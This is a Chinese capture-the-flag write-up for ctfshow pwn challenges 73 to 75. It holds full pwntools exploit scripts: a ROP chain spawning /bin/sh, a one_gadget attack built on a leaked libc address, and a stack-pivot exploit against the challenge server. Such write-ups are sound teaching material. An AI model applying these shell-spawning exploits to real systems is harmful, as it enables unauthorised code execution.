ctfshow pwn入门

CTFshow的PWN入门系列,慢慢更吧。

pwn73

file看一下,32位小端序静态编译。拖到IDA找到main函数,可以发现栈溢出。这里可以考虑直接用ROPgadget自动生成ROP攻击链

命令:ROPgadget --binary pwn73 -ropchain ,然后会生成如下代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
# Padding goes here
p = ' '
p += pack('<I', 0x0806f02a) # pop edx ; ret
p += pack('<I', 0x080ea060) # @ .data
p += pack('<I', 0x080b81c6) # pop eax ; ret
p += '/bin'
p += pack('<I', 0x080549db) # mov dword ptr [edx], eax ; ret
p += pack('<I', 0x0806f02a) # pop edx ; ret
p += pack('<I', 0x080ea064) # @ .data + 4
p += pack('<I', 0x080b81c6) # pop eax ; ret
p += '//sh'
p += pack('<I', 0x080549db) # mov dword ptr [edx], eax ; ret
p += pack('<I', 0x0806f02a) # pop edx ; ret
p += pack('<I', 0x080ea068) # @ .data + 8
p += pack('<I', 0x08049303) # xor eax, eax ; ret
p += pack('<I', 0x080549db) # mov dword ptr [edx], eax ; ret
p += pack('<I', 0x080481c9) # pop ebx ; ret
p += pack('<I', 0x080ea060) # @ .data
p += pack('<I', 0x080de955) # pop ecx ; ret
p += pack('<I', 0x080ea068) # @ .data + 8
p += pack('<I', 0x0806f02a) # pop edx ; ret
p += pack('<I', 0x080ea068) # @ .data + 8
p += pack('<I', 0x08049303) # xor eax, eax ; ret
p += pack('<I', 0x0807a86f) # inc eax ; ret
p += pack('<I', 0x0807a86f) # inc eax ; ret
p += pack('<I', 0x0807a86f) # inc eax ; ret
p += pack('<I', 0x0807a86f) # inc eax ; ret
p += pack('<I', 0x0807a86f) # inc eax ; ret
p += pack('<I', 0x0807a86f) # inc eax ; ret
p += pack('<I', 0x0807a86f) # inc eax ; ret
p += pack('<I', 0x0807a86f) # inc eax ; ret
p += pack('<I', 0x0807a86f) # inc eax ; ret
p += pack('<I', 0x0807a86f) # inc eax ; ret
p += pack('<I', 0x0807a86f) # inc eax ; ret
p += pack('<I', 0x0806cc25) # int 0x80

然后我们稍作修改一下脚本,把偏移和包加上去

最终脚本:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
from pwn import *
from struct import pack
io=process("./pwn73")
# Padding goes here
p = cyclic(0x18+4)
p += pack('<I', 0x0806f02a) # pop edx ; ret
p += pack('<I', 0x080ea060) # @ .data
p += pack('<I', 0x080b81c6) # pop eax ; ret
p += '/bin'
p += pack('<I', 0x080549db) # mov dword ptr [edx], eax ; ret
p += pack('<I', 0x0806f02a) # pop edx ; ret
p += pack('<I', 0x080ea064) # @ .data + 4
p += pack('<I', 0x080b81c6) # pop eax ; ret
p += '//sh'
p += pack('<I', 0x080549db) # mov dword ptr [edx], eax ; ret
p += pack('<I', 0x0806f02a) # pop edx ; ret
p += pack('<I', 0x080ea068) # @ .data + 8
p += pack('<I', 0x08049303) # xor eax, eax ; ret
p += pack('<I', 0x080549db) # mov dword ptr [edx], eax ; ret
p += pack('<I', 0x080481c9) # pop ebx ; ret
p += pack('<I', 0x080ea060) # @ .data
p += pack('<I', 0x080de955) # pop ecx ; ret
p += pack('<I', 0x080ea068) # @ .data + 8
p += pack('<I', 0x0806f02a) # pop edx ; ret
p += pack('<I', 0x080ea068) # @ .data + 8
p += pack('<I', 0x08049303) # xor eax, eax ; ret
p += pack('<I', 0x0807a86f) # inc eax ; ret
p += pack('<I', 0x0807a86f) # inc eax ; ret
p += pack('<I', 0x0807a86f) # inc eax ; ret
p += pack('<I', 0x0807a86f) # inc eax ; ret
p += pack('<I', 0x0807a86f) # inc eax ; ret
p += pack('<I', 0x0807a86f) # inc eax ; ret
p += pack('<I', 0x0807a86f) # inc eax ; ret
p += pack('<I', 0x0807a86f) # inc eax ; ret
p += pack('<I', 0x0807a86f) # inc eax ; ret
p += pack('<I', 0x0807a86f) # inc eax ; ret
p += pack('<I', 0x0807a86f) # inc eax ; ret
p += pack('<I', 0x0806cc25) # int 0x80
io.recvuntil("hand!!\n")
io.sendline(p)
io.interactive()

注意:python对包导入的顺序是非常敏感的! 这是我之前忽视的地方,一开始我是先from struct import pack ,然后再from pwn import * 发现不行。from pwn import * ,然后再from struct import pack 才行。

pwn74

下载完附件,首先checksec一下,发现保护全开,file 看一下,64位小端序,动态链接。丢到IDA去看一下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
int __cdecl main(int argc, const char **argv, const char **envp)
{
__int64 v4[3]; // [rsp+8h] [rbp-18h] BYREF
v4[2] = __readfsqword(0x28u);
init(argc, argv, envp);
puts(s);
puts(asc_A80);
puts(asc_B00);
puts(asc_B90);
puts(asc_C20);
puts(asc_CA8);
puts(asc_D40);
puts(" * ************************************* ");
puts(aClassifyCtfsho);
puts(" * Type : PWN_Tricks ");
puts(" * Site : https://ctf.show/ ");
puts(" * Hint : Use one_gadget a shuttle! ");
puts(" * ************************************* ");
printf("What's this:%p ?\n", &printf);
__isoc99_scanf("%ld", v4);
v4[1] = v4[0];
((void (*)(void))v4[0])();
return 0;
}

main函数代码如上,简单分析一下,就是泄露了printf地址,然后我们可以输入一个地址,然后以这个地址做函数调用。所以只要我们的地址是危险函数的地址就可以了。这里就需要提到one_gadget了, one_gadget 是libc中存在的一些执行execv("/bin/sh",NULL,NULL)的片段,当存在libc泄露,知道libc版本的时候,我们就可以利用one_gadget来快速控制指令寄存器开启shell。这种不用像ret2libc那样去逐个构造寄存器的值来实现系统调用,而是拿libc中现成的函数,直接用。

使用方法one_gadget /lib/x86_64-linux-gnu/libc.so.6 这里后面接的是libc版本。bit师傅提供了一种查找libc版本的方式:ldd pwn74,可以发现是使用的libc.so.6 ,对应本地文件的位置/lib/x86_64-linux-gnu/libc.so.6

1
2
3
4
5
6
7
8
9
10
11
12
13
14
ctfshow@ubuntu:~/Desktop/pwn_script/pwn74$ one_gadget /lib/x86_64-linux-gnu/libc.so.6
0x4f2a5 execve("/bin/sh", rsp+0x40, environ)
constraints:
rsp & 0xf == 0
rcx == NULL

0x4f302 execve("/bin/sh", rsp+0x40, environ)
constraints:
[rsp+0x40] == NULL

0x10a2fc execve("/bin/sh", rsp+0x70, environ)
constraints:
[rsp+0x70] == NULL

可以看到有以上可以用的片段,不过都有限制条件。我们可以一个一个试,发现第三个0x10a2fc 可以用。

最终的脚本:

1
2
3
4
5
6
7
8
9
10
11
from pwn import *
io=process("./pwn74")
io.recvuntil("this:")
print_addr=int(io.recvuntil(" "),16)
print(print_addr)
one_gadget=0x10a2fc
libc=ELF("/lib/x86_64-linux-gnu/libc.so.6")
libc_base=print_addr-libc.symbols['printf']
one_gadget_final=str(libc_base+one_gadget)
io.sendlineafter("?\n",one_gadget_final)
io.interactive()

注意这里print_addr=int(io.recvuntil(" "),16) ,要用int(xx,16) 转一下,不然就是str类型。后面会报错。

one_gadget_final=str(libc_base+one_gadget) ,这里也要变成str类型,不然sendline过去的时候也会报错。

pwn75

这个题目考察的是栈迁移利用。网上很多文章讲的很清晰了,推荐一篇:[栈迁移原理深入理解以及实操 - 先知社区 (aliyun.com)](https://xz.aliyun.com/t/12738?time__1311=GqGxu7G%3DGQD%3DoGNu44%2BxCu4WwrXfee8%3DDg7oD)

具体看看这个题目:

1
2
3
4
5
6
7
8
9
10
11
int ctfshow()
{
char s[36]; // [esp+0h] [ebp-28h] BYREF

memset(s, 0, 0x20u);
read(0, s, 0x30u);
printf("Welcome, %s\n", s);
puts("What do you want to do?");
read(0, s, 0x30u);
return printf("Nothing here ,%s\n", s);
}

ctfshow函数里面有两次read,很明显这里存在溢出,第一次read我们可以想办法泄露出ebp指向的那个值。这里是利用了printf函数的特性,遇到\x00才会停止输出,我们往s里面一直写数据,写0x28个字节,那么s数组就没有空间去填\x00了,就会一直往后输出,就可以把ebp所指向的值打印出来(上一函数栈帧的ebp,即main函数栈帧的ebp)。泄露了ebp的值之后,我们就可以结合gdb调试,去找到buf和ebp之间的距离,就可以用ebp去表示buf。这里的buf就是我们read函数往内存写入的地址。同时,我们可以跟进ctfshow函数的汇编,可以看到最后是有一个leave ;ret 指令的。其实这里就是正常的清栈操作,让esp、ebp的状态到main函数栈帧那里。我们再通过栈溢出将返回地址覆盖成leave ret的地址,那么就产生了两次leave; ret 。那么这种就是十分危险的了,然后再把ebp的地址覆盖成我们要跳转过去的地址。就可以实现getshell了,最终脚本如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
from pwn import *
context.log_level="debug"
#io=process("./pwn75")
io=remote("pwn.challenge.ctf.show",28256)
elf=ELF("./pwn75")
system=elf.sym['system']
leave_ret=0x080484d5
payload1=cyclic(0x24)+'show'
io.recvuntil("codename:\n")
io.send(payload1)
io.recvuntil("show")
ebp_add=u32(io.recv(4).ljust(4,'\x00'))
buf=ebp_add-0x38
bin_addr=buf+16
payload2='aaaa'+p32(system)+p32(0)+p32(bin_addr)+'/bin/sh\x00'
payload_final=payload2.ljust(0x28,'a')+p32(buf)+p32(leave_ret)
io.send(payload_final)
io.interactive()

可能稍微有点细节的地方就是为啥payload2里面会涉及到四个垃圾字符的填充。是因为ret的时候,会pop一下,esp会移动一下。

画个简单的草图看一下,下图为我们通过read填充垃圾数据之后的ctfshow函数的栈帧:

pwn75_1.png

然后ctfshow函数本身会有一个清栈的操作leave;ret ,这里的leave相当于是mov esp , ebp; pop ebp ;然后ret相当于是pop eip 。

这里先看leave之后的效果:

pwn75_2.png

leave拆分看,先是mov esp, ebp;此时esp 和 ebp指向同一片内存。如上图蓝色标记。然后再pop ebp。会把esp指向的值赋值给ebp,然后esp往高地址+1,所以效果就是ebp指向buf,esp此时指向返回地址,如上面的红色标记。

然后就是执行ret,即 pop eip,这里把返回地址,即我们找到的leave;ret指令的地址弹到了eip里面,此时esp +1 ,然后再次执行leave;ret。

那么就再来一次: mov esp,ebp;pop ebp; pop eip。效果如下图:(先看mov esp,ebp;执行完之后效果)

pwn75_3.png

然后pop ebp:

pwn75_4.png

此时esp会再上移一下,ebp指向了buf的内容即XXX。如上图

最后就是ret;即 pop eip。 会把esp此时指向的内容弹到eip去执行,这里就是我们的shellcode 。所以为啥要一开始填充4个字节的垃圾字符就是这个原因。

画的有点乱。。。